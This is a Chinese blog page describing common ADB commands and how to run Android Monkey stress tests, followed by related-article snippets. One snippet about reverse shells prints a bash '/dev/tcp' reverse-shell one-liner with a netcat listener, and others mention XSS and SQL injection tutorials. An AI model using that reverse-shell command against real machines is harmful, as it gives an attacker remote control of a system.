ADB常用的命令:

1)adb devices---获取设备列表及设备状态

2)adb get-state---获取设备的状态

设备的状态有 3 钟,device、offline、unknown。

device:设备正常连接

offline:连接出现异常,设备无响应

unknown:没有连接设备

3) adb kill-server---结束 adb 服务;adb start-server---启动 adb 服务,

通常两个命令一起用,一般在连接出现异常,使用 adb devices 未正常列出设备, 设备状态异常时使用 kill-server,然后运行 start-server 进行重启服务。

4) adb logcat---打印 Android 的系统日志

输出到文本内:

adb logcat >e:\logcat.log

5)adb bugreport---打印dumpsys、dumpstate、logcat的输出,也是用于分析错误

输出到文本:

adb bugreport > e:\bugreport.log

6)adb install---安装应用,覆盖安装是使用 -r 选项

windows下如果需要安装含有中文名的 apk ,需要对 adb 进行修改,百度可以找到做出修改的adb , 支持中文命令的 apk,请自行搜索

7)adb uninstall---卸载应用,后面跟的参数是应用的包名,请区别于 apk 文件名

'-k' means keep the data and cache directories , -k 选项,卸载时保存数据和缓存目录

8)adb pull---将Android设备上的文件或者文件夹复制到本地

例如复制 Sdcard 下的 pull.txt 文件到 D 盘:

adb pull sdcard/pull.txt d:

如果需要重命名为 rename.txt:

adb pull sdcard/pull.txt d:\rename.txt

权限问题:

注意权限,复制系统权限的目录下的文件,需要 root ,并且一般的 Android 机 root 之后并不能使用命令去复制,而需要在手机上使用类似于 RE 的文件浏览器,先对系统的文件系统进行挂载为可读写后,才能在手机上复制移动系统文件,这里推荐使用小米手机的开发版本,IUNI 也是不错的。

9)adb push---推送本地文件至 Android 设备

例如推送 D 盘下的 push.txt 至 Sdcard:

adb push d:\push.txt sdcard/

sdcard 后面的斜杠不能少,否则会出现下面的错误:

adb push push.txt sdcard

failed to copy 'push.txt' to 'sdcard': Is a directory

权限问题同 pull 命令

10)adb root、adb remount---只针对类似小米开发版的手机有用,可以直接已这两个命令获取 root 权限,并挂载系统文件系统为可读写状态

11)adb reboot---重启 Android 设备

12)adb reboot bootloader---重启设备,进入 fastboot 模式,同 adb reboot-bootloader 命令

13)adb reboot recovery---重启设备,进入 recovery 模式,经常刷机的同学比较熟悉这个模式

14)adb forward---将宿主机上的某个端口重定向到设备的某个端口

adb forward tcp:1314 tcp :8888

执行该命令后所有发往宿主机 1314 端口的消息、数据都会转发到 Android 设备的 8888 端口上,因此可以通过远程的方式控制 Android 设备。

15)adb connect---远程连接 Android 设备

手机、PC处于相同的网络下,手机 root ,安装应用 adbWireless ,启动应用后点击界面中间的按钮:

接着运行 adb connect 192.168.1.102 , 即可通过无线的方式连接手机,缺点是速度比较慢

Monkey的使用

1、进入adb shell 环境

在Windows环境下进入DOS界面,输入adb shell

注意:adb shell服务使用的端口是5037,如果此端口被其他进程占用时,将不能正常启动adb shell。

如上图所示,

rolex:表示设备ID

$:表示普通用户

:表示root用户

1、在adb shell环境下输入monkey的相应命令即可。

monkey 100

表示在设备上,针对整套系统发送100个伪随机事件。

2、查看需要测试的包名

如果有root权限,可以进入/data/data下使用ls/ls-a查看;

如果没有root权限,可以使用:pm list packages查看

退出目录:exit

需要控制monkey执行的实景,可以通过设置执行时长/事件发送延时,计算出需要执行的次数。

如果想要monkey运行24小时,每100毫秒发送一个事件。

246060*1000/100=864000次

Monkey –p *** --ignore-crashes—ignore-timeoutss—throttle 100 864000

ADB常用的命令的更多相关文章

  1. Android学习第一天-adb常用命令

    平时开发android应用 的时候,我们都会用到包含在Android SDK中一系列的工具,或许我们通过Eclipse去调用,又或许,我们自己通过打开终端进行手动输入并且执行,下面我们来一起学习下这些 ...

  2. 54. Android中adb常用命令及应用常用目录

    本文主要介绍adb常用命令及应用常用目录.1.adb常用命令adb devices列出所有连接的android设备.以下命令都是对单个devices而言,如果存在多个devices的话,下面的命令都需 ...

  3. adb logcat调试中常用的命令介绍

    Android日志系统提供了记录和查看系统调试信息的功能.日志都是从各种软件和一些系统的缓冲区中记录下来的,缓冲区可以通过 logcat 命 令来查看和使用. adb logcat 命令格式 : ad ...

  4. Android开发系列之adb常用命令

    对于Android开发者来说,如果没有adb的帮助,那肯定就跟少了一只手那样别扭.其实笔者在刚刚学习Android开发的时候,也没有意识到adb的重要性.想想只要用IDE画出界面,然后实现后台的逻辑代 ...

  5. adb常用命令(转)

    1.Android Debug Bridge -adb常用命令 1.1简介 Android Debug Bridge,我们一般简称为adb,主要存放在sdk安装目录下的platform-tools文件 ...

  6. adb常用命令及详解

    ADB 即 Android Debug Bridge,Android调试桥.ADB工作方式比较特殊,采用监听Socket TCP 端口的方式让IDE和Qemu通讯,默认情况下adb会daemon相关的 ...

  7. adb常用命令教程

    1.Android Debug Bridge - adb常用命令 1.1简介 Android Debug Bridge,我们一般简称为adb,主要存放在sdk安装目录下的platform-tools文 ...

  8. 【android】adb常用命令

    ADB常用命令: [adb help]获取帮助 [adb get-serialno]获取设备串号 [adb -s <serialNumber> <command>]给特定设备发 ...

  9. [adb 学习篇] adb常用命令

    https://testerhome.com/topics/2565 Android 常用 adb 命令总结 针对移动端 Android 的测试, adb 命令是很重要的一个点,必须将常用的 adb ...

随机推荐

  1. ansible快速部署cassandra3集群

    欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...

  2. 【实战分享】从选型到项目落地,漫谈 gRPC

    什么是 gRPC? gRPC 的几种常见模式 在学习 gRPC 的时候,相信大家对于它的四种模式都有了解,我们来简单回顾一下: 简单模式(Simple RPC):这种模式最为传统,即客户端发起一次请求 ...

  3. gdb调试入门(上)

    一.什么是gdb:gdb是GNU debugger的缩写,是编程调试工具二.gdb功能:1.启动程序,可根据用户要求随心所欲的运行程序(比如带参数)2.可让被调试的程序在用户指定的调试的断点处停住3. ...

  4. 关于点击弹框外部区域弹框关闭的交互处理(前端JS)

    常见需求场景 前端在处理交互的时候,经常遇到这样的场景,点击一个按钮,出现一个弹框,点击外部区域,弹框关闭. 解决方法 思路说明: 1.给弹框的div父级都加个类名,如: 2.在document绑定一 ...

  5. Windows/Linux 下反弹shell

    Linux 反弹shell bash环境获取shell 客户端 nc -lvp 8888 服务器 bash -i >& /dev/tcp/ip/port 0>&1 bash ...

  6. webug第十四关:存储型XSS

    第十四关:存储型XSS 打开发现是评论区 留言加入xss语句

  7. bWAPP----Mail Header Injection (SMTP)

    Mail Header Injection (SMTP) 本地没有搭环境,没法演示,附上转载的 https://www.acunetix.com/blog/articles/email-header- ...

  8. SpringSecurity之授权

    SpringSecurity之授权 目录 SpringSecurity之授权 1. 写在前面的话 2. web授权 1. 建库 2. 添加查询权限的接口 3. 前端页面的编写 4. SpringSec ...

  9. [sql 注入] insert 报错注入与延时盲注

    insert注入的技巧在于如何在一个字段值内构造闭合. insert 报错注入 演示案例所用的表: MariaDB [mysql]> desc test; +--------+--------- ...

  10. iMindMap不同视图的应用技巧介绍

    在刚开始使用iMindMap思维导图软件时,很多用户会习惯性地使用默认的Mind Map视图.因该视图布局自由,用户可以发挥自我创造力,进行多种形式的思维图表创建. 其实,除此之外,iMindMap还 ...